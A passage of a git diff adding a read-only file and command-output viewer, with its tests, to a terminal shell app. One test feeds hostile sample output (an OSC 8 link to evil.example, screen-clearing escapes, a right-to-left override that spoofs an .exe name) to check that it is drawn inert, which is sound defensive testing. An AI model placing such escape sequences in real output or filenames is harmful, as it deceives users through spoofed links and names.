!state.rendered) { state.numbers = !state.numbers; state.sub = 0; } + else if (text === 'm' && state.document.format === 'markdown') { + if (!state.rendered && Buffer.byteLength(state.document.text) > RENDER_MARKDOWN_BYTES) state.note = 'Too large to render: showing the Markdown source.'; + else { state.rendered = !state.rendered; state.numbers = !state.rendered; state.top = 0; state.sub = 0; state.match = undefined; state.matchCount = undefined; } + } + else if (text === '/' || key.kind === 'find') state.input = {kind: 'search', value: state.query ?? ''}; + else if (text === ':') state.input = {kind: 'goto', value: ''}; + else if (text === 'n' && state.query) step(state, 1, width, body, look); + else if (text === 'N' && state.query) step(state, -1, width, body, look); + else if (text === 'c') return {kind: 'copy', text: state.document.text, lines: state.document.lines.length}; + return undefined; +} + +// ---- Drawing ------------------------------------------------------------------------------------------------------ + +function detail(document: ViewDocument): string { + const lines = `${document.lines.length.toLocaleString('en-US')} line${document.lines.length === 1 ? '' : 's'}`; + if (document.origin.kind === 'output') { + const status = document.origin.exitCode === undefined ? '' : ` · exit ${document.origin.exitCode}`; + return `output ${document.origin.number}${status} · ${lines}${document.format === 'diff' ? ' · diff' : ''}`; + } + const kind = document.format === 'markdown' ? 'Markdown' : document.format === 'diff' ? 'diff' : document.language ?? 'text'; + const ending = document.lineEnding === 'crlf' ? ' · CRLF' : document.lineEnding === 'mixed' ? ' · mixed line endings' : ''; + const link = document.origin.symlink ? ` · → ${document.origin.realPath}` : ''; + return `${kind} · ${lines} · ${formatBytes(document.origin.bytes)}${ending}${link}`; +} + +function headerRows(state: ViewerState, columns: number, height: number): string[] { + const width = Math.max(10, columns - 4); + const primary = foreground(UI_COLORS.primary); + const subtle = foreground(UI_COLORS.subtle); + const warning = foreground(UI_COLORS.warning); + const title = state.document.origin.kind === 'output' ? `$ ${state.document.title}` : state.document.title; + const shownTitle = truncateText(title.replace(/[\u0000-\u001f\u007f-\u009f\p{Cf}]/gu, '·'), Math.max(8, Math.floor(width * 0.6))); + const rows = [` ${primary}${shownTitle}${RESET} ${subtle}${truncateText(detail(state.document), Math.max(1, width - displayWidth(shownTitle) - 2))}${RESET}`]; + const notes = height >= 12 ? state.document.notes.slice(0, 2) : []; + for (const note of notes) rows.push(` ${warning}${truncateText(note, width)}${RESET}`); + return rows; +} + +function controls(state: ViewerState, columns: number): string[] { + const width = Math.max(1, columns - 4); + if (state.input) return renderControlRows([['Enter', state.input.kind === 'search' ? 'find' : 'go'], ['Esc', 'cancel']], width); + return renderControlRows([ + ['↑↓', 'scroll'], ['/', 'find'], ...(state.query ? [['n/N', 'next/previous'] as const] : []), [':', 'line'], + ...(state.document.format === 'markdown' ? [['m', state.rendered ? 'source' : 'rendered'] as const] : []), + ...(!state.rendered ? [['w', state.wrap ? 'no wrap' : 'wrap'] as const, ['l', 'numbers'] as const] : []), + ['c', 'copy all'], ['Esc', 'close'], + ], width); +} + +function bodyHeight(state: ViewerState, columns: number, height: number): number { + return Math.max(1, height - 2 - headerRows(state, columns, height).length - 1 - controls(state, columns).length); +} + +function statusRow(state: ViewerState, width: number, total: number): string { + const subtle = foreground(UI_COLORS.subtle); + const accent = foreground(UI_COLORS.accent); + if (state.input) { + const label = state.input.kind === 'search' ? 'Find: ' : 'Go to line: '; + return ` ${accent}${label}${RESET}${truncateText(state.input.value.replace(/[\u0000-\u001f\u007f-\u009f\p{Cf}]/gu, '·'), Math.max(1, width - label.length - 1))}${accent}▏${RESET}`; + } + const unit = state.rendered ? 'Row' : 'Line'; + const first = state.shown ? state.shown.first + 1 : 0; + const last = state.shown ? state.shown.last + 1 : 0; + const position = total === 0 ? 'Empty' : `${unit}${last > first ? 's' : ''} ${first.toLocaleString('en-US')}${last > first ? `–${last.toLocaleString('en-US')}` : ''} of ${total.toLocaleString('en-US')}`; + const search = state.query ? ` · ${state.matchCount === undefined ? '' : `${state.matchCount.toLocaleString('en-US')} match${state.matchCount === 1 ? '' : 'es'} for `}“${state.query}”` : ''; + const note = state.note ? ` · ${state.note}` : ''; + return ` ${subtle}${truncateText(`${position}${search}${note}`.replace(/[\u0000-\u001f\u007f-\u009f\p{Cf}]/gu, '·'), width)}${RESET}`; +} + +export function renderViewer(state: ViewerState, columns: number, height: number, look: ViewerLook = {}): string[] { + const width = contentWidth(state, columns); + const gutter = gutterWidth(state); + const body = bodyHeight(state, columns, height); + clampTop(state, width, body, look); + const out = headerRows(state, columns, height); + const total = unitCount(state, width, look); + const subtle = foreground(UI_COLORS.subtle); + const rows: string[] = []; + let first = -1; + let last = -1; + for (let index = state.top; index < total && rows.length < body; index += 1) { + const unit = unitAt(state, index, width, look); + const highlights = state.query ? matchRanges(unit.text, state.query, state.match?.unit === index ? state.match.start : -1) : []; + let unitRowsList = unitRows(state, unit, width, highlights); + if (index === state.top) unitRowsList = unitRowsList.slice(state.sub); + unitRowsList.forEach((row, offset) => { + if (rows.length >= body) return; + const number = gutter ? `${subtle}${(offset === 0 && (index !== state.top || state.sub === 0) ? String(unit.number ?? '') : '').padStart(gutter - 1)}${RESET} ` : ''; + rows.push(` ${number}${row}`); + }); + if (first < 0) first = index; + last = index; + } + state.shown = first < 0 ? undefined : {first, last}; + if (!total) rows.push(` ${subtle}${state.document.origin.kind === 'output' ? 'No output.' : 'Empty file.'}${RESET}`); + while (rows.length < body) rows.push(''); + out.push(...rows, statusRow(state, Math.max(1, columns - 4), total), ...controls(state, columns).map(row => ` ${row}`)); + const rule = framePanel([], columns)[0]!; + if (height <= 1) return [rule].slice(0, Math.max(0, height)); + return [...framePanel(out.slice(0, Math.max(0, height - 2)).map(row => truncateAnsi(row, columns)), columns), rule]; +} + +function matchRanges(text: string, query: string, current: number): Array<{start: number; end: number; current: boolean}> { + const ranges: Array<{start: number; end: number; current: boolean}> = []; + const find = smartMatch(text, query); + for (let at = find(0); at >= 0 && ranges.length < 256; at = find(at + Math.max(1, query.length))) ranges.push({start: at, end: at + query.length, current: at === current}); + return ranges; +} diff --git a/src/viewer/document.ts b/src/viewer/document.ts new file mode 100644 index 00000000..fdfc4fcf --- /dev/null +++ b/src/viewer/document.ts @@ -0,0 +1,180 @@ +import {constants} from 'node:fs'; +import {lstat, open, realpath} from 'node:fs/promises'; +import {homedir} from 'node:os'; +import {basename, extname, isAbsolute, join, resolve} from 'node:path'; +import {languageId} from '../markdown/highlight.js'; + +/** + * A document for the native viewer (#397) and editor: lines of text and where they came from. Loading is read-only and + * bounded: only regular files are read (a FIFO or device is refused before anything waits on it), at most + * MAX_VIEW_BYTES and MAX_VIEW_LINES are kept, binary content is refused, and invalid UTF-8 is shown with replacement + * characters and a note. Nothing is executed, followed beyond the file's own symlink, fetched or written. + */ + +export const MAX_VIEW_BYTES = 8 * 1024 * 1024; +export const MAX_VIEW_LINES = 200_000; +/** Bytes inspected for binary content. */ +const SNIFF_BYTES = 8192; +const CHUNK = 64 * 1024; + +export type DocumentFormat = 'text' | 'markdown' | 'diff'; + +export type DocumentOrigin = + | {kind: 'file'; path: string; realPath: string; symlink: boolean; bytes: number; mtimeMs: number} + | {kind: 'output'; command: string; number: number; exitCode?: number}; + +export interface ViewDocument { + /** What the header names: the path as given (home shortened) or the command. */ + title: string; + origin: DocumentOrigin; + lines: string[]; + /** The text copying the whole document gives: the decoded file up to the limits, or the record's output. */ + text: string; + format: DocumentFormat; + /** A grammar id for syntax roles, when the file type is known. */ + language?: string; + /** Limits that applied, said plainly (truncation, encoding). */ + notes: string[]; + lineEnding: 'lf' | 'crlf' | 'mixed' | 'none'; + /** False when the text was cut at a read or line limit. */ + complete: boolean; +} + +export type LoadResult = {ok: true; document: ViewDocument} | {ok: false; reason: string}; + +/** `~` and `~/…` name the home directory; other relative paths are relative to the shell's directory. */ +export function resolveViewPath(input: string, cwd: string, home = homedir()): string { + const trimmed = input.trim(); + if (trimmed === '~') return home; + if (trimmed.startsWith('~/')) return join(home, trimmed.slice(2)); + return isAbsolute(trimmed) ? trimmed : resolve(cwd, trimmed); +} + +/** The path as people read it: under home it starts with ~. */ +export function displayPath(path: string, home = homedir()): string { + return home && (path === home || path.startsWith(`${home}/`)) ? `~${path.slice(home.length)}` : path; +} + +const FILE_NAMES: Record = {makefile: 'makefile', gnumakefile: 'makefile', dockerfile: 'dockerfile', containerfile: 'dockerfile', + '.bashrc': 'shell', '.zshrc': 'shell', '.zshenv': 'shell', '.profile': 'shell', '.bash_profile': 'shell', 'config.fish': 'fish', justfile: 'makefile'}; + +/** How a file reads: Markdown and diffs by their extension, syntax roles by extension or well-known name. */ +export function formatForPath(path: string): {format: DocumentFormat; language?: string} { + const name = basename(path).toLowerCase(); + const extension = extname(name).slice(1); + if (extension === 'md' || extension === 'markdown' || extension === 'mdx') return {format: 'markdown', language: 'markdown'}; + if (extension === 'diff' || extension === 'patch') return {format: 'diff', language: 'diff'}; + const language = languageId(FILE_NAMES[name] ?? extension); + return {format: 'text', ...(language ? {language} : {})}; +} + +/** Commands whose output is a unified diff; anything else is plain text (output is never implicitly Markdown). */ +const DIFF_COMMAND = /^\s*(?:git\s+(?:--no-pager\s+)?(?:diff|show|log\s+(?:.*\s)?-p)\b|diff\s+(?:-\S*u|--unified)|hg\s+diff\b|jj\s+diff\b)/u; + +/** A completed command's stored output as a document (the same text `/copy` copies). */ +export function outputDocument(record: {command: string; output: string; exitCode?: number}, number: number): ViewDocument { + const {lines, lineEnding} = splitLines(record.output); + const diff = DIFF_COMMAND.test(record.command) && lines.some(line => line.startsWith('@@')); + return {title: record.command, origin: {kind: 'output', command: record.command, number, ...(record.exitCode !== undefined ? {exitCode: record.exitCode} : {})}, + lines, text: record.output, format: diff ? 'diff' : 'text', ...(diff ? {language: 'diff'} : {}), notes: [], lineEnding, complete: true}; +} + +function splitLines(text: string): {lines: string[]; lineEnding: ViewDocument['lineEnding']} { + if (!text) return {lines: [], lineEnding: 'none'}; + const raw = text.split('\n'); + if (raw.at(-1) === '') raw.pop(); + let crlf = 0; + const terminated = text.endsWith('\n') ? raw.length : raw.length - 1; + const lines = raw.map((line, index) => { + if (line.endsWith('\r')) { if (index < terminated) crlf += 1; return line.slice(0, -1); } + return line; + }); + const lineEnding = terminated === 0 ? 'none' : crlf === 0 ? 'lf' : crlf === terminated ? 'crlf' : 'mixed'; + return {lines, lineEnding}; +} + +function describe(error: unknown, shown: string): string { + const code = (error as NodeJS.ErrnoException | undefined)?.code; + if (code === 'ENOENT') return `${shown} does not exist.`; + if (code === 'EACCES' || code === 'EPERM') return `${shown} cannot be read: permission denied.`; + if (code === 'ELOOP') return `${shown} is a symlink loop.`; + if (code === 'ENOTDIR') return `${shown}: a part of the path is not a directory.`; + if (code === 'EISDIR') return `${shown} is a directory.`; + if (code === 'ABORT_ERR') return 'Cancelled.'; + return `${shown} cannot be read${code ? ` (${code})` : ''}.`; +} + +/** Read a regular file for viewing (see the module comment for the limits). */ +export async function loadFileDocument(input: string, cwd: string, options: {home?: string; maxBytes?: number; maxLines?: number; signal?: AbortSignal} = {}): Promise { + const home = options.home ?? homedir(); + const path = resolveViewPath(input, cwd, home); + const shown = displayPath(path, home); + const maxBytes = options.maxBytes ?? MAX_VIEW_BYTES; + let symlink = false; + try { symlink = (await lstat(path)).isSymbolicLink(); } catch (error) { return {ok: false, reason: describe(error, shown)}; } + let handle; + // Non-blocking: opening a FIFO never waits for a writer, and is refused below like any other non-regular file. + try { handle = await open(path, constants.O_RDONLY | constants.O_NONBLOCK | (constants.O_NOCTTY ?? 0)); } + catch (error) { return {ok: false, reason: describe(error, shown)}; } + try { + const info = await handle.stat(); + if (info.isDirectory()) return {ok: false, reason: `${shown} is a directory.`}; + if (!info.isFile()) return {ok: false, reason: `${shown} is not a regular file; /view reads files only.`}; + const chunks: Buffer[] = []; + let total = 0; + while (total <= maxBytes) { + if (options.signal?.aborted) return {ok: false, reason: 'Cancelled.'}; + const chunk = Buffer.allocUnsafe(Math.min(CHUNK, maxBytes + 1 - total)); + const {bytesRead} = await handle.read(chunk, 0, chunk.length, null); + if (bytesRead === 0) break; + chunks.push(chunk.subarray(0, bytesRead)); + total += bytesRead; + } + let bytes = Buffer.concat(chunks, total); + const notes: string[] = []; + let complete = true; + if (bytes.length > maxBytes) { + complete = false; + let cut = maxBytes; + // Never split a UTF-8 sequence: step back over continuation bytes. + while (cut > 0 && (bytes[cut]! & 0xc0) === 0x80) cut -= 1; + bytes = bytes.subarray(0, cut); + notes.push(`Showing the first ${formatBytes(cut)} of ${formatBytes(info.size)}; open it with less or an editor for the rest.`); + } + const sniff = bytes.subarray(0, SNIFF_BYTES); + if ((sniff[0] === 0xff && sniff[1] === 0xfe) || (sniff[0] === 0xfe && sniff[1] === 0xff)) { + return {ok: false, reason: `${shown} is UTF-16 text, which /view does not decode; try less or an editor.`}; + } + if (sniff.includes(0)) return {ok: false, reason: `${shown} looks binary (it contains NUL bytes); /view shows text only.`}; + if (bytes[0] === 0xef && bytes[1] === 0xbb && bytes[2] === 0xbf) bytes = bytes.subarray(3); + let text: string; + try { text = new TextDecoder('utf-8', {fatal: true}).decode(bytes); } + catch { + text = new TextDecoder('utf-8').decode(bytes); + notes.push('Not valid UTF-8: undecodable bytes are shown as �.'); + } + let {lines, lineEnding} = splitLines(text); + const maxLines = options.maxLines ?? MAX_VIEW_LINES; + if (lines.length > maxLines) { + complete = false; + notes.push(`Showing the first ${maxLines.toLocaleString('en-US')} lines; open it with less or an editor for the rest.`); + lines = lines.slice(0, maxLines); + text = lines.join(lineEnding === 'crlf' ? '\r\n' : '\n'); + } + let realPath = path; + if (symlink) { try { realPath = await realpath(path); } catch { /* the link changed meanwhile; the descriptor read is what is shown */ } } + const {format, language} = formatForPath(path); + return {ok: true, document: {title: shown, origin: {kind: 'file', path, realPath, symlink, bytes: info.size, mtimeMs: info.mtimeMs}, lines, text, format, + ...(language ? {language} : {}), notes, lineEnding, complete}}; + } catch (error) { + return {ok: false, reason: describe(error, shown)}; + } finally { + await handle.close().catch(() => undefined); + } +} + +export function formatBytes(bytes: number): string { + if (bytes < 1024) return `${bytes} B`; + if (bytes < 1024 * 1024) return `${(bytes / 1024).toFixed(bytes < 10 * 1024 ? 1 : 0)} KiB`; + return `${(bytes / 1024 / 1024).toFixed(1)} MiB`; +} diff --git a/tests/viewer.test.ts b/tests/viewer.test.ts new file mode 100644 index 00000000..7266934b --- /dev/null +++ b/tests/viewer.test.ts @@ -0,0 +1,197 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {spawnSync} from 'node:child_process'; +import {chmodSync, mkdirSync, mkdtempSync, readFileSync, realpathSync, rmSync, symlinkSync, writeFileSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import {join} from 'node:path'; +import {loadFileDocument, outputDocument, resolveViewPath, type ViewDocument} from '../src/viewer/document.js'; +import {createViewer, renderViewer, viewerKey, type ViewerState} from '../src/viewer/ViewerPanel.js'; +import {parseSlashCommand} from '../src/commands/slashCommands.js'; +import {displayWidth, stripAnsi} from '../src/util/text.js'; +import type {Key} from '../src/terminal/keys.js'; + +const scratch = () => realpathSync(mkdtempSync(join(tmpdir(), 'nmsh-view-'))); +const text = (value: string): Key => ({kind: 'text', value}); +const press = (state: ViewerState, keys: Array, columns = 80, height = 24) => { + let action; + for (const key of keys) action = viewerKey(state, typeof key === 'string' ? text(key) : key, columns, height); + return action; +}; +const draw = (state: ViewerState, columns = 80, height = 24) => renderViewer(state, columns, height); +const shown = (rows: string[]) => rows.map(row => stripAnsi(row)); +async function load(path: string, options: Parameters[2] = {}): Promise { + const result = await loadFileDocument(path, '/', options); + if (!result.ok) throw new Error(result.reason); + return result.document; +} + +test('/view parses a path, an output number or nothing', () => { + assert.deepEqual(parseSlashCommand('/view README.md'), {kind: 'view', target: 'README.md'}); + assert.deepEqual(parseSlashCommand('/view 2'), {kind: 'view', target: '2'}); + assert.deepEqual(parseSlashCommand('/view'), {kind: 'view', target: ''}); + assert.notEqual(parseSlashCommand('/viewer')?.kind, 'view'); + assert.equal(resolveViewPath('~/notes.md', '/work', '/home/me'), '/home/me/notes.md'); + assert.equal(resolveViewPath('docs/a.md', '/work', '/home/me'), '/work/docs/a.md'); +}); + +test('files: only regular, decodable text is read, within limits, and every refusal says why', async () => { + const root = scratch(); + try { + writeFileSync(join(root, 'a.ts'), 'const a = 1;\r\nconst b = 2;\r\n'); + const code = await load(join(root, 'a.ts')); + assert.deepEqual(code.lines, ['const a = 1;', 'const b = 2;']); + assert.equal(code.lineEnding, 'crlf'); + assert.equal(code.format, 'text'); + assert.equal(code.language, 'js'); + assert.equal(code.complete, true); + + mkdirSync(join(root, 'dir')); + assert.match((await loadFileDocument(join(root, 'dir'), '/') as {reason: string}).reason, /is a directory/u); + assert.match((await loadFileDocument(join(root, 'missing.txt'), '/') as {reason: string}).reason, /does not exist/u); + writeFileSync(join(root, 'bin'), Buffer.from([0x7f, 0x45, 0x4c, 0x46, 0, 1, 2])); + assert.match((await loadFileDocument(join(root, 'bin'), '/') as {reason: string}).reason, /binary/u); + writeFileSync(join(root, 'utf16.txt'), Buffer.from([0xff, 0xfe, 0x61, 0x00])); + assert.match((await loadFileDocument(join(root, 'utf16.txt'), '/') as {reason: string}).reason, /UTF-16/u); + + if (spawnSync('mkfifo', [join(root, 'pipe')]).status === 0) { + // Opening a FIFO must not wait for a writer: it is refused at once. + const started = Date.now(); + assert.match((await loadFileDocument(join(root, 'pipe'), '/') as {reason: string}).reason, /not a regular file/u); + assert.ok(Date.now() - started < 2000); + } + if (process.getuid?.() !== 0) { + writeFileSync(join(root, 'secret.txt'), 'x'); + chmodSync(join(root, 'secret.txt'), 0o000); + assert.match((await loadFileDocument(join(root, 'secret.txt'), '/') as {reason: string}).reason, /permission denied/u); + chmodSync(join(root, 'secret.txt'), 0o600); + } + + writeFileSync(join(root, 'bad.txt'), Buffer.from([0x61, 0xff, 0x62, 0x0a])); + const bad = await load(join(root, 'bad.txt')); + assert.deepEqual(bad.lines, ['a�b']); + assert.match(bad.notes.join(' '), /Not valid UTF-8/u); + + // A cut never splits a UTF-8 sequence, and says what it left out. + writeFileSync(join(root, 'big.txt'), 'é'.repeat(100)); + const cut = await load(join(root, 'big.txt'), {maxBytes: 51}); + assert.equal(cut.text, 'é'.repeat(25)); + assert.equal(cut.complete, false); + assert.match(cut.notes[0]!, /Showing the first/u); + writeFileSync(join(root, 'many.txt'), Array.from({length: 50}, (_, index) => `line ${index}`).join('\n')); + const many = await load(join(root, 'many.txt'), {maxLines: 10}); + assert.equal(many.lines.length, 10); + assert.equal(many.complete, false); + + symlinkSync(join(root, 'a.ts'), join(root, 'link.ts')); + const linked = await load(join(root, 'link.ts')); + assert.ok(linked.origin.kind === 'file' && linked.origin.symlink && linked.origin.realPath === join(root, 'a.ts')); + assert.match(shown(draw(createViewer(linked), 400)).join('\n'), new RegExp(`→ ${join(root, 'a.ts').replace(/[.*+?^${}()|[\]\\/]/gu, '\\$&')}`, 'u')); + + // Reading changes nothing. + assert.equal(readFileSync(join(root, 'a.ts'), 'utf8'), 'const a = 1;\r\nconst b = 2;\r\n'); + } finally { rmSync(root, {recursive: true, force: true}); } +}); + +test('hostile text is drawn inert at every width: no terminal controls, no bidi tricks, nothing wider than the panel', () => { + const hostile = ['\u001b]8;;https://evil.example\u0007click\u001b]8;;\u0007 \u001b[2J\u001b[31mred', 'admin‮gnp.exe', 'zero​width\ttab', '中文字符 and emoji 🎉', 'x'.repeat(500)].join('\n'); + const document = outputDocument({command: 'cat hostile', output: hostile}, 1); + for (const columns of [32, 80, 120]) { + const rows = draw(createViewer(document), columns, 24); + for (const row of rows) { + const visible = stripAnsi(row); + assert.doesNotMatch(row.replace(/\u001b\[[0-9;]*m/gu, ''), /\u001b/u, 'only NMSh SGR styling remains'); + assert.doesNotMatch(visible, /[‮​]/u, 'format characters are shown as marks'); + assert.ok(displayWidth(visible) <= columns, `row fits ${columns} columns`); + } + const joined = shown(rows).join('\n'); + assert.match(joined, /␛\]8;;https:\/\/evil/u, 'escape sequences are visible text, never links or colors'); + assert.match(joined, /admin·gnp\.exe/u); + } + assert.equal(document.format, 'text', 'command output is never implicitly Markdown'); +}); + +test('Markdown files render, switch to source with m, and output whose command is a diff reads as a diff', async () => { + const root = scratch(); + try { + writeFileSync(join(root, 'README.md'), '# Title\n\nSome **bold** text and `code`.\n\n- one\n- two\n'); + const document = await load(join(root, 'README.md')); + const viewer = createViewer(document); + assert.equal(viewer.rendered, true); + const rendered = shown(draw(viewer)).join('\n'); + assert.match(rendered, /Title/u); + assert.doesNotMatch(rendered, /\*\*bold\*\*/u, 'rendered, not source'); + press(viewer, ['m']); + assert.match(shown(draw(viewer)).join('\n'), /\*\*bold\*\*/u, 'source on m'); + const diff = outputDocument({command: 'git diff', output: 'diff --git a/x b/x\n@@ -1 +1 @@\n-old\n+new\n'}, 1); + assert.equal(diff.format, 'diff'); + assert.equal(outputDocument({command: 'cat notes.md', output: '# not markdown here\n'}, 1).format, 'text'); + } finally { rmSync(root, {recursive: true, force: true}); } +}); + +test('search finds, counts and steps through matches, wrapping with a note; Esc clears it before closing', () => { + const document = outputDocument({command: 'log', output: Array.from({length: 300}, (_, index) => index % 50 === 7 ? `ERROR at ${index}` : `ok ${index}`).join('\n')}, 1); + const viewer = createViewer(document); + draw(viewer); + press(viewer, ['/', ...'error'.split(''), {kind: 'enter'}]); + assert.equal(viewer.matchCount, 6, 'smart case: a lowercase query ignores case'); + assert.equal(viewer.match?.unit, 7); + draw(viewer); + press(viewer, ['n']); + assert.equal(viewer.match?.unit, 57); + press(viewer, ['N', 'N']); + assert.equal(viewer.match?.unit, 257, 'wrapped to the bottom'); + assert.match(viewer.note ?? '', /wrapped/u); + const rows = shown(draw(viewer)).join('\n'); + assert.match(rows, /6 matches for “error”/u); + assert.equal(press(viewer, [{kind: 'escape'}]), undefined, 'first Esc clears the search'); + assert.equal(viewer.query, undefined); + assert.deepEqual(press(viewer, [{kind: 'escape'}]), {kind: 'close'}); +}); + +test('navigation: page, end, go to line, wrap off with horizontal scroll, line numbers, mouse wheel, copy all', () => { + const lines = Array.from({length: 1000}, (_, index) => `${index + 1}: ${'word '.repeat(30)}`); + const viewer = createViewer(outputDocument({command: 'seq', output: lines.join('\n')}, 3)); + draw(viewer); + press(viewer, [{kind: 'pageDown'}]); + assert.ok(viewer.top > 0); + press(viewer, ['G']); + draw(viewer); + assert.equal(viewer.shown?.last, 999, 'End shows the last line at the bottom'); + press(viewer, [':', '5', '0', '0', {kind: 'enter'}]); + assert.equal(viewer.top, 499); + assert.match(shown(draw(viewer)).join('\n'), /^\s+500 500: word/mu, 'numbered from the source line'); + press(viewer, ['w', {kind: 'right'}, {kind: 'right'}]); + assert.equal(viewer.wrap, false); + assert.equal(viewer.left, 16); + assert.match(shown(draw(viewer)).join('\n'), /‹/u, 'more to the left is marked'); + press(viewer, [{kind: 'wheelDown'}]); + assert.equal(viewer.top, 502); + press(viewer, ['l']); + assert.equal(viewer.numbers, false); + assert.deepEqual(press(viewer, ['c']), {kind: 'copy', text: lines.join('\n'), lines: 1000}); + assert.match(shown(draw(viewer)).join('\n'), /output 3 · 1,000 lines/u); +}); + +test('bounded: a 200,000-line document opens and jumps to its end quickly, and one huge line wraps to a summary', () => { + const big = createViewer(outputDocument({command: 'big', output: Array.from({length: 200_000}, (_, index) => `row ${index}`).join('\n')}, 1)); + const started = performance.now(); + draw(big, 120, 40); + press(big, ['G'], 120, 40); + draw(big, 120, 40); + assert.equal(big.shown?.last, 199_999); + assert.ok(performance.now() - started < 1500, `took ${Math.round(performance.now() - started)}ms`); + const wide = createViewer(outputDocument({command: 'one line', output: 'y'.repeat(1_000_000)}, 1)); + const rows = shown(draw(wide, 80, 400)); + assert.ok(rows.some(row => /more characters on this line/u.test(row))); + assert.ok(rows.length <= 400); +}); + +test('narrow and tiny panels still fit and keep the close control reachable', () => { + const viewer = createViewer(outputDocument({command: 'x', output: 'a\nb\nc'}, 1)); + for (const [columns, height] of [[32, 10], [20, 6], [80, 3]] as const) { + const rows = draw(viewer, columns, height); + assert.ok(rows.length <= height, `${columns}x${height}: ${rows.length} rows`); + for (const row of rows) assert.ok(displayWidth(stripAnsi(row)) <= columns); + } + assert.deepEqual(press(viewer, ['q']), {kind: 'close'}); +}); diff --git a/tests/viewerApp.test.ts b/tests/viewerApp.test.ts new file mode 100644 index 00000000..c03d0c87 --- /dev/null +++ b/tests/viewerApp.test.ts @@ -0,0 +1,77 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {mkdtempSync, realpathSync, rmSync, writeFileSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import {join} from 'node:path'; +import {isolateConfig} from './support/isolatedConfig.js'; +import {TerminalApp} from '../src/app/TerminalApp.js'; + +/** A completed command block, as the shell would have produced it. */ +function completed(app: TerminalApp, command: string, output: string, exitCode = 0): number { + const buffer = app['output']; + const startId = buffer.beginCommand(command, [`$ ${command}`]); + buffer.write(output); + buffer.complete(exitCode); + return startId; +} + +async function until(check: () => boolean, what: string): Promise { + const deadline = Date.now() + 10_000; + while (!check()) { + if (Date.now() > deadline) throw new Error(`timed out waiting for ${what}`); + await new Promise(resolve => setTimeout(resolve, 20)); + } +} + +const transcriptText = (app: TerminalApp) => (app['output'].transcript().lines as Array>) + .map(line => line.map(cell => cell?.text ?? ' ').join('')).join('\n'); + +test('/view and View output open the native viewer on stored output; it owns keys until Esc and never writes to the transcript', async () => { + const isolation = isolateConfig(); + const app = new TerminalApp(); + app['render'] = () => {}; + try { + completed(app, 'printf a', 'first\r\n'); + const startId = completed(app, 'printf b', 'second\tline\r\nthird\r\n', 2); + const before = JSON.stringify(app['output'].transcript()); + app['openViewer']('', '/view'); + const viewer = app['viewer']!; + assert.equal(viewer.document.title, 'printf b'); + assert.deepEqual(viewer.document.lines, ['second\tline', 'third'], 'the text /copy copies, tabs as written'); + assert.ok(viewer.document.origin.kind === 'output' && viewer.document.origin.exitCode === 2 && viewer.document.origin.number === 1); + assert.equal(app['hasModalInput'](), true); + app['handleKey']({kind: 'text', value: 'x'}); + assert.equal(app['editor'].text, '', 'keys belong to the viewer, not the composer'); + app['handleKey']({kind: 'escape'}); + assert.equal(app['viewer'], undefined); + app['openViewer']('2', '/view 2'); + assert.equal(app['viewer']?.document.title, 'printf a'); + app['handleKey']({kind: 'escape'}); + await app['runBlockAction'](startId, 'view'); + assert.equal(app['viewer']?.document.title, 'printf b'); + app['handleKey']({kind: 'escape'}); + assert.equal(JSON.stringify(app['output'].transcript()), before, 'viewing writes nothing to the transcript'); + app['openViewer']('9', '/view 9'); + assert.equal(app['viewer'], undefined); + assert.match(transcriptText(app), /No completed command output at 9\./u); + } finally { app['stop'](0); app['session'].kill(); isolation.restore(); } +}); + +test('/view reads relative to the shell directory; a missing file is reported in the transcript', async () => { + const isolation = isolateConfig(); + const root = realpathSync(mkdtempSync(join(tmpdir(), 'nmsh-viewapp-'))); + const app = new TerminalApp(); + app['render'] = () => {}; + try { + app['shellCwd'] = root; + writeFileSync(join(root, 'notes.md'), '# Notes\n\nhello\n'); + app['openViewer']('notes.md', '/view notes.md'); + await until(() => app['viewer'] !== undefined, 'the viewer'); + assert.equal(app['viewer']!.document.format, 'markdown'); + assert.equal(app['viewer']!.rendered, true); + app['handleKey']({kind: 'escape'}); + app['openViewer']('missing.txt', '/view missing.txt'); + await until(() => /does not exist/u.test(transcriptText(app)), 'the missing-file notice'); + assert.equal(app['viewer'], undefined); + } finally { app['stop'](0); app['session'].kill(); isolation.restore(); rmSync(root, {recursive: true, force: true}); } +}); diff --git a/tests/viewerLive.test.ts b/tests/viewerLive.test.ts new file mode 100644 index 00000000..79f3e0e4 --- /dev/null +++ b/tests/viewerLive.test.ts @@ -0,0 +1,58 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {chmodSync, existsSync, mkdirSync, readFileSync, writeFileSync} from 'node:fs'; +import {join} from 'node:path'; +import {LiveSandbox, until} from './helpers/liveFrontend.js'; + +/** /view through the real composer and PTY: keys decoded from bytes, the real screen, a stand-in clipboard. */ +const supported = process.platform === 'darwin' || process.platform === 'linux'; + +test('live: /view reads a file and the latest output; find, go to line, copy all and Esc back to the composer', {skip: supported ? false : 'unsupported platform', timeout: 120_000}, async () => { + const sandbox = new LiveSandbox({provider: 'none', shellBackend: 'zsh'}); + const bin = join(sandbox.root, 'fake-bin'); + mkdirSync(bin); + const clip = join(sandbox.root, 'clipboard.txt'); + for (const name of ['pbcopy', 'xclip', 'wl-copy']) { + writeFileSync(join(bin, name), `#!/bin/sh\ncat > ${JSON.stringify(clip)}\n`); + chmodSync(join(bin, name), 0o755); + } + const frontend = sandbox.launch([], {cols: 100, rows: 30}, {PATH: `${bin}:${process.env.PATH}`, ...(process.platform === 'linux' ? {DISPLAY: ':nmsh-test'} : {})}); + try { + await frontend.waitFor(/Vespyr|notMyShell|zsh/u); + await frontend.run('echo READY', /READY/u); + writeFileSync(join(sandbox.home, 'notes.md'), '# Field notes\n\nThe **quick** fox.\n\n- alpha\n- beta\n'); + let mark = frontend.mark; + frontend.pty.write('/view notes.md\r'); + await frontend.waitFor(/notes\.md[\s\S]*Markdown · 6 lines[\s\S]*Field notes[\s\S]*quick fox[\s\S]*Esc close/u, mark); + mark = frontend.mark; + frontend.pty.write('m'); + await frontend.waitFor(/\*\*quick\*\*/u, mark); + // Esc closes; the composer is drawn again before anything is typed (a lone Esc followed at once by text is ambiguous). + mark = frontend.mark; + frontend.pty.write('\u001b'); + await frontend.waitFor(/❯/u, mark); + + await frontend.run('seq 1 400', /399[\s\S]*400/u); + mark = frontend.mark; + frontend.pty.write('/view\r'); + await frontend.waitFor(/\$ seq 1 400[\s\S]*output 1 · exit 0 · 400 lines[\s\S]*Lines 1–/u, mark); + mark = frontend.mark; + frontend.pty.write('/37\r'); + 